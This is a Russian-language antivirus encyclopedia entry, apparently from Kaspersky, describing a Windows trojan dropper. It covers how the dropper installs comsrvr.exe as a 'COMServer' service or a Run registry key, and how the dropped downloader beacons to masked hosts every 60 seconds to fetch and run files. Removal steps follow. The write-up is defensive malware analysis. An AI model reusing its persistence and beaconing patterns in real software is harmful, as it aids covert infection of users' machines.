Trojan-Dropper.Win32.Agent.cwsw

Технические детали
Деструктивная активность
Рекомендации по удалению

Технические детали

Троянская программа, устанавливающая другие программы на компьютере пользователя без его ведома. Является приложением Windows (PE-EXE файл). Имеет размер 37376 байт. Написана на C++.

Деструктивная активность

После запуска троянец выполняет следующие действия:

• останавливает и удаляет службу "COMServer".
• Удаляет ключ системного реестра:

  [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
  "COMServer"
  

• Завершает процесс "comsrvr.exe".
• Извлекает из своего тела файл, который сохраняется в системе как

  %System%\msapps\comsrvr.exe

  (29696 байт; детектируется Антивирусом Касперского как "Trojan-Downloader.Win32.Agent.eljy")
• Создает и запускает в системе службу с именем "COMServer", исполняемым файлом которой является извлеченный ранее файл.
• В случае если службу создать не удается, троянец создает ключ системного реестра:

  [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
  "COMServer" = "%System%\msapps\comsrvr.exe"
  

  Таким образом, файл "comsrvr.exe" будет автоматически запускаться при каждом следующем старте системы.
• Далее извлеченный файл запускается на выполнение.

Запущенная троянская программа "Trojan-Downloader.Win32.Agent.eljy" реализует функционал загрузчика. Устанавливается соединение со следующими серверами:

ccooo***o.cc
cccooo***o.cc

На указанные хосты отправляются HTTP-запросы следующего вида:

GET favicon.ico HTTP/1.1
Host: bcProxyBot.com
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg
Accept-Language: en-us
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 
.NET CLR 1.2.2.1)
Cookie: 000C29CBBE24<имя компьютера>

В ответ на запрос с сервера отправляется файл, который троянец сохраняет в каталоге хранения временных файлов текущего пользователя "%Temp%" под случайным именем. После успешной загрузки файл запускается на выполнение.

Загрузка файла осуществляется в цикле через каждые 60 секунд.

Рекомендации по удалению

Если ваш компьютер не был защищен антивирусом и оказался заражен данной вредоносной программой, то для её удаления необходимо выполнить следующие действия:

1. При помощи Диспетчера задач завершить процесс "comsrvr.exe".
2. Удалить ключ системного реестра (как работать с реестром?):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "COMServer" = "%System%\msapps\comsrvr.exe"
   

3. Удалить ветви системного реестра (как работать с реестром?):

   [HKLM\System\ControlSet001\Services\COMServer]
   [HKLM\System\CurrentControlSet\Services\COMServer]
   

4. Удалить файл:

   %System%\msapps\comsrvr.exe

5. Удалить оригинальный файл троянца (его расположение на зараженном компьютере зависит от способа, которым программа попала на компьютер).
6. Удалить файлы загруженные троянцем в каталоге "%Temp%".
7. Очистить каталог Temporary Internet Files, который может содержать инфицированные файлы (Как удалить инфицированные файлы в папке Temporary Internet Files?).
8. Произвести полную проверку компьютера Антивирусом Касперского с обновленными антивирусными базами (скачать пробную версию).

Резюме

• Trojan-Dropper. Скрытно устанавливает в систему другие вредоносные программы

Технические детали

Имеет размер 37376 байт.

Вредоносная активность

Создает следующие файлы:

• Системный каталог ОС Windows (обычно, C:\Windows\System32)%System%\msapps\comsrvr.exe

После чего обеспечивается Используя системный реестр, системные службы или специальные системные файлы, программа может обеспечивать свой запуск или запуск созданных ею файлов при каждой следующей загрузке ОС Windowsавтозагрузка установленных файлов:

используя системные службы:

Имя службы:	COMServer
Параметры запуска:	Системный каталог ОС Windows (обычно, C:\Windows\System32)%System%\msapps\comsrvr.exe s
Тип запуска:	­автоматически­

Следующие файлы запускаются на исполнение:

• Системный каталог ОС Windows (обычно, C:\Windows\System32)%System%\msapps\comsrvr.exe

Прочие действия

Удаляет следующие параметры ключей системного реестра:

[ Ветка системного реестра HKEY_CURRENT_USERHKCU\Software\Microsoft\Windows\CurrentVersion\Run ] "COMServer" = ""

Описание:
­Используется для автозапуска файлов при загрузке ОС Windows­

Удаляет следующие файлы на зараженном компьютере:

• Системный каталог ОС Windows (обычно, C:\Windows\System32)%System%\msapps\comsrvr.exe